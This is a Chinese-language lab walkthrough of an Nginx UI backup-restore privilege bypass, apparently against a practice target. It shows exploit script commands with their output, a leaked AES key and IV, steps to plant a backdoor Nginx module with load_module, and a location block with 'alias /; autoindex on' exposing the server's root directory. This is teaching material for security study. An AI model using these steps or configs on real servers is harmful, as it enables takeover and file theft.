Nginx UI 权限绕过
靶机信息
漏洞利用过程
本靶机的核心思路是通过提取出 Nginx UI 的 AES 密钥,将官方备份下载并解密后,修改内部的配置文件以植入恶意的自定义 Nginx 模块 (ngx_http_cre_module.so),最后重新加密打包并触发系统的恢复还原(Restore)功能,从而获得控制权或文件访问跨越。
1. 下载并解密备份文件
首先,使用漏洞利用脚本提取并解密 Nginx UI 的备份包文件:
> python poc.py --target http://ulab.bdziyi.cn:20712/ --decrypt
X-Backup-Security: dlrHEwkfeNSByDwS3a5V1VcJQ7S+Qs+wct8XPHIwsv8=:39evWLw3ybfQybX0s6gjrw==
Parsed AES-256 key: dlrHEwkfeNSByDwS3a5V1VcJQ7S+Qs+wct8XPHIwsv8=
Parsed AES IV : 39evWLw3ybfQybX0s6gjrw==
[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
Parsed AES-256 key: dlrHEwkfeNSByDwS3a5V1VcJQ7S+Qs+wct8XPHIwsv8=
Parsed AES IV : 39evWLw3ybfQybX0s6gjrw==
可以看到脚本成功解析出 AES-256 的 Key 与 IV,并将配置信息全部解压到 backup_extracted 目录下。
2. 构造恶意模块并植入配置文件
这步主要是把后门及提权所需的 Nginx 路由加载进系统配置内。
-
投放 SO 动态库:
将编译好的后门模块 ngx_http_cre_module.so 放置到解压目录:
backup_extracted\nginx\ngx_http_cre_module.so
-
全局加载模块:
修改 backup_extracted\nginx\nginx.conf,在首行增加模块加载机制:
load_module ngx_http_cre_module.so;
-
创建后门/内网映射路由(🔯可选):
在 backup_extracted\nginx\conf.d\00-default.conf 中追加一个专门用于读取系统任意目录的虚拟配置段:
location /ulab {
alias /;
autoindex on;
autoindex_format html;
}
3. 重新打包加密备份
接着,必须按照原加密规则将修改过的目录重新压缩加密:
> python 2zip.py --workdir backup_extracted --output new.zip --x-backup-security "dlrHEwkfeNSByDwS3a5V1VcJQ7S+Qs+wct8XPHIwsv8=:39evWLw3ybfQybX0s6gjrw=="
此时的打包结果:
[*] Building plaintext inner ZIP from: backup_extracted\nginx-ui
-> 6585 bytes
[*] Building plaintext inner ZIP from: backup_extracted\nginx
-> 35596 bytes
[*] Loaded hash_info plaintext: 199 bytes
[+] Repacked backup written to: new.zip
[+] X-Backup-Security: dlrHEwkfeNSByDwS3a5V1VcJQ7S+Qs+wct8XPHIwsv8=:39evWLw3ybfQybX0s6gjrw==
[+] Entries: hash_info.txt, nginx-ui.zip, nginx.zip (all encrypted)
这就生成了携带我们后门模块和恶意路由规则的还原镜像 new.zip。
4. 发起还原请求触发执行
最后,调用系统的 API 还原端点触发该恶意备份包:
> python restore_exploit.py --host http://ulab.bdziyi.cn:20712 --file new.zip --security_token "dlrHEwkfeNSByDwS3a5V1VcJQ7S+Qs+wct8XPHIwsv8=:39evWLw3ybfQybX0s6gjrw=="
利用工具输出的状态回显:
============================================================
CVE-2026-27944: Nginx UI Restore Endpoint Exploit
============================================================
[*] Target URL: http://ulab.bdziyi.cn:20712/api/restore
[*] Backup file: new.zip (42718 bytes)
[*] Security token: dlrHEwkfeNSByDwS3a5V1VcJQ7S+Qs+wct8XPHIwsv8=:39evWLw3ybfQybX0s6gjrw==
[*] Restore nginx: True
[*] Restore nginx-ui: False
[*] Verify hash: False
[*] Sending restore request...
[+] Response received in 0.49s
[+] Status code: 200
[+] Response headers:
Content-Type: application/json; charset=utf-8
Request-Id: d0fc1a00-a585-4c8a-a8e4-eca689a44b3b
Date: Thu, 02 Apr 2026 09:21:22 GMT
Content-Length: 68
Connection: close
[+] Response body (68 bytes):
{"nginx_ui_restored":false,"nginx_restored":true,"hash_match":false}
[+] Restore request completed successfully!
至此,通过利用恢复接口覆盖掉 Nginx 配置并重载。带有命令执行等特性的 ngx_http_cre_module.so 模块就会在 Nginx 进程重新挂载时被成功加载。同时利用 /ulab 端点即可变相浏览底层系统服务器文件的根目录 / 和执行任意相关后渗透操作。
Nginx 在27011端口,请求截图待补充。
总结与知识点
- Nginx UI 备份恢复安全风险:如果
X-Backup-Security 字段可猜测、泄漏或认证不严,攻击者不仅能窃取全站配置还能通过伪造和恢复达成任意控制。
- 恶意 Nginx 模块注入(SO / Load Module):结合备份还原功能写入
.so 库和 nginx.conf 实现了高级的代码级持久化。
- 基于 Alias 特性的任意文件读取:
location /{ path } 加 alias /; autoindex on; 属于极其经典的通过配置错误来变相读取服务器所有目录结构的方式。
参考链接